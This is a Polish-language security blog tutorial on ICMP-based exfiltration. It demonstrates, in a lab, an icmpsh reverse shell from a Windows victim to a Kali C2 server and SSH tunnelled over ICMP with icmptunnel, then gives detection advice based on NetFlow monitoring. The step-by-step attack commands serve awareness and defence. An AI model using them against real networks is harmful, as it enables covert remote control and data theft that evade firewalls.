W tym artykule dowiesz się, jak za pomocą protokołu ICMP cyberprzestępcy mogą wykonać eksfiltrację danych (wykradanie danych) z komputerów w sieci przez komunikację ICMP-C2 oraz tunelowanie ICMP. Obie metody służą do ominięcia reguł zapory sieciowej (firewall).

W artykule Reverse DNS pisaliśmy o sposobie wykradania danych z komputerów przy użyciu włączonego na nich, standardowego protokołu DNS. W tym artykule postanowiliśmy pokazać inny sposób bazujący na słynnym ping’u, a raczej na otwartym protokole komunikacyjnym z który służy do badania dostępności urządzań/komputerów w sieci.

Dla osób zajmujących się cyberbezpieczeństwem problem nieodpowiedniego monitorowania ruchu sieciowego pod kątem ICMP i zagrożeń z tym związanych z pewnością nie jest nowością. Został opisany już kilka lat temu, lecz pomimo tego postanowiliśmy go wyjaśnić i szerzej pokazać, ponieważ uważamy, że nadal może on stanowić poważne zagrożenie dla wielu firm i wyzwanie dla działów IT/Bezpieczeństwa.
W drugiej części artykułu wykonamy dwa proste scenariusze ataku z wykorzystaniem odpowiednich narzędzi, w których za pomocą protokołu ICMP i komunikacji z serwerem C2 będziemy w stanie w pełni przejąć kontrolę nad zdalnym komputerem Windows 10 oraz wykonać tunelowanie SSH w ICMP z komputera z Linux Lite. Zatem do dzieła.


Czy masz świadomość wystąpienia tunelowania danych w Twojej sieci? Jakiegokolwiek tunelowania?

Czy uważasz, że Twoja sieć jest całkowicie bezpieczna? Jeśli Twoja sieć firmowa łączy się z Internetem, istnieje duża szansa, że Twoja firma nie jest zabezpieczona przed wszystkimi rodzajami złośliwego oprogramowania. Cyberprzestępcy co jakiś czas ulepszają swoje metody ataku, aby mogli stać się jeszcze bardziej niezauważeni w sieci. Dla rozwiązań do bezpieczeństwa oznacza to tyle, że powinny stale ewaluować i rozwijać się, aby mogły nadążyć za tym trendem.

Problem z większością rozwiązań bezpieczeństwa polega na tym, że zazwyczaj musimy wiedzieć, czego szukamy. W przypadku zabezpieczania sieci administratorzy najczęściej konfigurują reguły dostępu na zaporach sieciowych i routerach na podstawie tego, na co chcą zezwalać lub blokować. Systemy wykrywania zagrożeń najczęściej używają sygnatur (opisanych wzorców zachowań), a nawet zapór nowej generacji (Next Generation Firewall), które wykorzystują głęboką inspekcję pakietów (DPI) w celu bardziej precyzyjnego zrozumienia jaki zestaw reguł byłby odpowiedni i byłyby w stanie dokładnie określić dozwolone lub niedozwolone pakiety.

W dzisiejszych czasach na rynku IT istnieje mnóstwo rozwiązań do bezpieczeństwa. Wszyscy twierdzą, że zabezpieczają korporacyjne i osobiste wrażliwe aktywa. Nadal jednak regularnie publikowane są raporty o atakach na firmy i kradzieży danych. Cyberprzestępcy wydają się wyprzedzać krzywą bezpieczeństwa. Dysponują metodami infiltrowania sieci nieznanymi z punktu widzenia sygnatur. Korzystają z protokołów i aplikacji, które ukrywają to, co robią i wydają się być całkowicie normalnymi strumieniami ruchu.


Co to jest tunelowanie ruchu?

Cyberprzestępcy w dzisiejszych czasach są bardzo dobrzy w używaniu popularnych portów i protokołów, zwłaszcza tych, które zazwyczaj muszą być otwarte. W ciągu ostatnich kilku lat widzieliśmy wiele przypadków, w których dane były usuwane z zasobów korporacyjnych za pomocą tuneli danych. Tunel to mechanizm używany do wysyłania protokołu obcego przez sieć, która normalnie by go nie obsługiwała (bo np. jest blokowana na firewallu). Protokoły tunelowania umożliwiają używanie protokołu IP do wysyłania innego protokołu w części danych datagramu IP. Większość protokołów tunelowania ma agenta po stronie klienta i serwera, który hermetyzuje dane TCP lub UDP w dozwolonym, powszechnie używanym protokole. Opublikowaliśmy wiele artykułów na Kapitanie Hack’u, które mówią o wykorzystaniu tunelowania DNS i sposobach wykrywania tunelowania aplikacji.

Podobnie jak w przypadku tunelowania DNS, gdzie DNS jest zwykle otwarty, ICMP również nie jest globalnie blokowany. Istnieją uzasadnione powody, dla których użytkownik lub administrator może potrzebować ICMP w środowisku sieciowym, aby sprawdzić dostępność adresu wewnętrznego lub zewnętrznego (używając polecenia ping) lub trasy routingu (polecenie traceroute). Podobnie jak w przypadku dostępnych aplikacji do tunelowania DNS, istnieje wiele programów do przekazywania danych z jednego punktu do drugiego poprzez tunelowanie ICMP. Lecz zanim przejdziemy do przykładów tunelowania ICMP wróćmy do podstaw jego budowy.


Jak działa protokół ICMP?

Protokół ICMP (ang. Internet Control Message Protocol, internetowy protokół komunikatów kontrolnych) to protokół pomocniczy w pakiecie Protokołu Internetowego (IP). Jest on używany przez urządzenia sieciowe, w tym routery, do wysyłania komunikatów o błędach i informacji operacyjnych, które wskazują, że żądana usługa nie jest dostępna lub nie można uzyskać dostępu do komputera lub routera. ICMP jest protokołem warstwy 3 modelu OSI i jest używany między innymi przez wbudowane w każdy system operacyjny polecenie ping do wysyłania wiadomości za pomocą ładunku ICMP, który jest hermetyzowany pakietem nagłówka IP. Innym poleceniem, które używa ICMP jest traceroute służące do trasowania – wyznaczania trasy i wysłania nią pakietu danych w sieci komputerowej. Polecenie ping wysyła żądanie echa ICMP do hosta docelowego. Host docelowy odpowiada odpowiedzią echa, co oznacza, że host docelowy „żyje”.

Zgodnie z MTU (ang. Maximum Transmission Unit) rozmiar takiego pakietu ICMP nie może być większy niż 1500 bajtów, a więc mamy prawie 1,5KB danych do przesłania w jednym pakiecie.

W kontekście ataku i eksfiltracji danych z sieci komputerowej powyższa informacja oznacza, że odpowiednio przygotowane złośliwe oprogramowania na komputerze klienckim może załadować (przygotować) pakiety ICMP z zawartością pliku lub dane i przekazać je dalej w postaci pakietów żądań ICMP do miejsca docelowego. Miejsce docelowe to na ogół program nasłuchujący (serwer nasłuchujący C2), który odczytuje i rozpakowuje pakiety ICMP. Inną metodą może być przechwytywanie pakietów, takie jak TCPDUMP – nasłuchiwanie pakietów ICMP z adresu IP inicjującego klienta.


Scenariusz nr 1 – atak z wykorzystaniem pakietu ICMP i serwera C2

W celu przeprowadzenia ataku wykorzystującego ICMP użyjemy, jak w przypadku innych ataków, skryptu serwera C2 (Command & Control) odpowiedzialnego za wykonywanie komend i sterowanie klientem uruchomionym na komputerze ofiary.
W naszym teście serwerem C2 będzie komputer z systemem operacyjnym Linux Kali z pobraną i uruchomioną najnowsza wersją narzędzia icmpsh, które pozwoli nam na uruchomienie ukrytej powłoki ICMP przeznaczonej do komunikacji z klientem.

icmpsh to darmowa, napisana w języku C (są tez wersje w Perl lub Python) odwrotna powłoka ICMP z wbudowanym klientem win32 i z kompatybilnym serwerem POSIX. Główną zaletą w stosunku do innych podobnych narzędzi open-source tego typu jest to, że nie wymaga uprawnień administracyjnych, aby uruchomić go na docelowym komputerze.
Narzędzie jest proste w użyciu i przenaszalne na różne platformy. Wersja kliencka działa na Windows (jest napisana w C), zaś serwer C2 może działać na dowolnej platformie na maszynie atakującej z uwagi na jej wersje implementacji w C, Perlu oraz Python.

Icmpsh od strony Linux Kali możemy pobrać za pomocą komendy:

git clone https://github.com/inquisb/icmpsh.git


Krok 1 – Konfiguracja i uruchomienie serwera C2

Po pobraniu narzędzia i przed jego uruchomieniem będziemy musieli skonfigurować nasz serwer przed możliwością odpowiedzi jego jądra na pakiety ping. W tym celu będziemy musieli wyłączyć odpowiedzi na ping na serwerze. Jest to bardzo ważny krok, ponieważ bez niego nasze narzędzie nie będzie w stanie poprawnie funkcjonować.

sysctl -w net.ipv4.icmp_echo_ignore_all=1

Następnie przechodzimy do katalogu narzędzia icmpsh i wykonujemy polecenie

./icmpsh_m.py

./icmpsh_m.py 192.168.1.220 192.168.1.23


Krok 2 – Uruchomienie klienta icmpsh

W celu uruchomienia klienta na Windows 10 (komputer ofiary) będziemy musieli dostarczyć na komputer ofiary i uruchomić plik icmpsh.exe. Binarka jest dostępna do pobrania z tego samego repozytorium na GitHub, co serwer. Dla posiadaczy antywirów mamy dobrą wiadomość – binarka icmpsh.exe jest wykrywana przez programy antywirusowe 🙂 Na VirusTotal osiągnęła wynik, aż 35/71 wykrywalności. Nic dziwnego, bo sam jej kod ma już 8 lat!

Założeniem naszego testu nie jest udowodnienie i pokazanie wykrywalności binarki, lecz samej koncepcji metody ataku. Cyberprzestępcy dobrze wiedzą, jak napisać kod, który ominie oprogramowanie antywirusowe i będzie miał możliwość jego odpalenia w kontrolowanym środowisku.

Klienta na Windows 10 uruchamia się poleceniem:

icmpsh.exe -t 192.168.1.220

Jeśli cała komunikacja się powiedzie i Windows 10 ma włączoną na Firewall’u obsługę ICMP, wówczas po stronie serwera C2 powinniśmy otrzymać wiersz poleceń pozwalający na wprowadzanie dowolnych komend na komputerze ofiary. Wynik komend będzie zwracany na naszym serwerze C2.

Po tym udanym scenariuszu czas, abyśmy zajęli się tunelowaniem ruchu, czyli ukryciem komunikacji innego protokołu (ssh) w pakietach ICMP.


Scenariusz nr 2 – tunelowanie ssh w ICMP

Tunel ICMP to podejście, które polega na tunelowaniu połączeń TCP przez pakiety ICMP (TCP over ICMP). W naszym scenariuszu będziemy starali się uzyskać dostęp do sesji ssh, która będzie hermetyzowana przez pakiety ICMP. W związku z tym połączenie tcp zostanie ustanowione w warstwie 3 (warstwie sieci), która będzie hermetyzowana jako ładunek icmp i dzięki temu będziemy mogli obejść reguły blokad na firewallu. W celu przeprowadzenia ataku wykorzystującego tunel ICMP użyjemy, narzędzia icmptunnel.

icmptunnel to narzędzie do tunelowania ruchu IP w pakietach żądań i odpowiedzi echa ICMP (ping). Jest przeznaczone do omijania blokad firewall’i i ukrywania komunikacji. Może być również przydatne do ustanawiania połączeń wychodzących z sieci korporacyjnej do Internetu, chociaż często zdarza się, że ruch echa ICMP jest filtrowany na obwodzie sieci (głównym firewallu).

Chociaż istnieje kilka narzędzi, które implementują tę technikę, icmptunnel zapewnia bardziej niezawodny protokół i mechanizm tunelowania przez standardowe firewalle i NAT.


Krok 1 – Konfiguracja ICMP na serwerze

W celu skonfigurowania serwera należy pobrać i zainstalować narzędzie icmptunnel, a następnie skompilować jego pliki zgodnie z poniższymi komendami:

git clone https://github.com/jamesbarlow/icmptunnel.git
cd icmptunnel
make

Podobnie jak w poprzednim scenariuszu przed uruchomieniem serwera musimy na nim wyłączyć możliwość zwracania przez system odpowiedzi na pakiety ping, ponieważ jest to ważny krok do poprawnego działania narzędzia.

echo 1 > /proc/sys/net/ipv4/icmp_echo_ignore_all

Po tym kroku możemy uruchomić icmptunnel w trybie serwera, wcisnąć kombinację klawiszy „CTRL+Z” i przypisać nowy adres IP dla nowego interfejsu przeznaczonego dla zestawienia tunelu.

./icmptunnel -s

/sbin/ifconfig tun0 172.0.0.1 netmask 255.255.255.0

Od teraz na tunelowanym interfejsie tun0 będziemy mogli zestawić osobne połączenie.


Krok 2 – Konfiguracja tunelu ICMP na kliencie

Tym razem w naszym scenariuszu klientem będzie komputer z systemem operacyjnym Linux Lite. Podobnie jak to wykonywaliśmy w kroku pierwszym musimy pobrać i zainstalować narzędzie icmptunnel do połączenia peer-to-peer i skompilować jego pliki.

git clone https://github.com/jamesbarlow/icmptunnel.git
cd icmptunnel
make

Następnie musimy wyłączyć odpowiedzi na ping na kliencie, połączyć się z serwerem oraz skonfigurować interfejs tun0 do połączenia peer to peer na kliencie.

echo 1 > /proc/sys/net/ipv4/icmp_echo_ignore_all
./icmptunnel 192.168.1.220
Ctrl+z
/sbin/ifconfig tun0 172.0.0.2 netmask 255.255.255.0


Krok 3 – połączenie SSH over ICMP

Jeśli mamy skonfigurowane oba interfejsy powinniśmy móc się połączyć np. po ssh do serwera, gdzie wcześniej skonfigurowaliśmy interfejs tun0 (połącznie peer to peer).

Spróbujmy połączyć się z serwerem 172.0.0.1 poprzez SSH na protokole TCP od strony klienta:

ssh root@172.0.0.1

Jak widać na powyższym ekranie test się powiódł i mogliśmy wykonywać polecenia na zdalnym komputerze Kali Linux. Moglibyśmy tez w późniejszym kroku wykonać połączenie Reverse, wtedy dostalibyśmy linię komend na Kali. Istotne jest to, że w naszym połączeniu SSH komunikacja odbywa się po ICMP (ssh jest tunelowane w protokole ICMP)


Jak powinniśmy się chronić?

Co możemy zrobić, aby być świadomym wystąpienia opisywanego wyżej zagrożenia?

Problem z rozwiązaniami firewall wyposażonymi w funkcję DPI (ang. Deep Packet Inspection) polega na tym, że nie zawsze wiemy, czego mamy szukać. Jest na to sposób – użycie i gromadzenie NetFlow/IPFIX z przepływów reprezentujących wszystkie połączenia przechodzące przez sieć. Możemy też pokusić się o rozwiązanie, które będzie w stanie przeanalizować surowe pakiety w sieci i nałożyć na to sztuczną inteligencję. W ten sposób uzyskamy szerszy wgląd w podejrzane połączenia przychodzące i wychodzące z sieci korporacyjnej, a także możemy zaobserwować ruch boczny, bez konieczności oglądania zawartości pakietów. Podejrzane wzorce tunelowania będą wówczas rozpoznawane i natychmiast alarmowane, bez konieczności globalnego blokowania protokołu ICMP.

Druga sprawą jest to, że w większości przypadków ICMP generuje stałą liczbę bajtów w pakiecie. Rozmiar może się zmieniać w zależności od systemu operacyjnego hosta, ale pozostaje bardzo przewidywalną wartością. Jeśli więc możemy alarmować o przypadkach, w których całkowita liczba bajtów w porównaniu do liczby pakietów daje większą niż normalną liczbę, możemy wykryć przekroczenie tego progu bez wiedzy o jego zawartości.

Istnieją algorytmy sprawdzające podejrzane wzorce ruchu ICMP i potrafią wyzwolić alarm. Te wzorce ruchu można następnie łatwo analizować.

Inteligencja ruchu sieciowego wykorzystująca NetFlow lub IPFIX może rozpoznać wystarczającą liczbę dziwnych zachowań w celu ochrony przed cyberatakami. Zbieranie przepływów ze wszystkich zapór sieciowych, routerów i przełączników w sieci komputerowej zasadniczo zamieni każde urządzenie w sondę bezpieczeństwa i zapewni doskonałą dodatkową warstwę zabezpieczającą dla systemu zapobiegania włamaniom w firmie.

Nigdy nie wiemy, kiedy nadejdzie ten moment, że cyberprzestępcy będą chcieli włamać się do sieci. Czy będziemy wtedy wiedzieli co zrobili? Jak zbadamy zdarzenia, skoro nie będziemy posiadać ich historii? „Mądre” monitorowanie ruchu sieciowego, powinno być jednym z priorytetów każdej firmy chcącej uchronić się przed tego tupu atakami.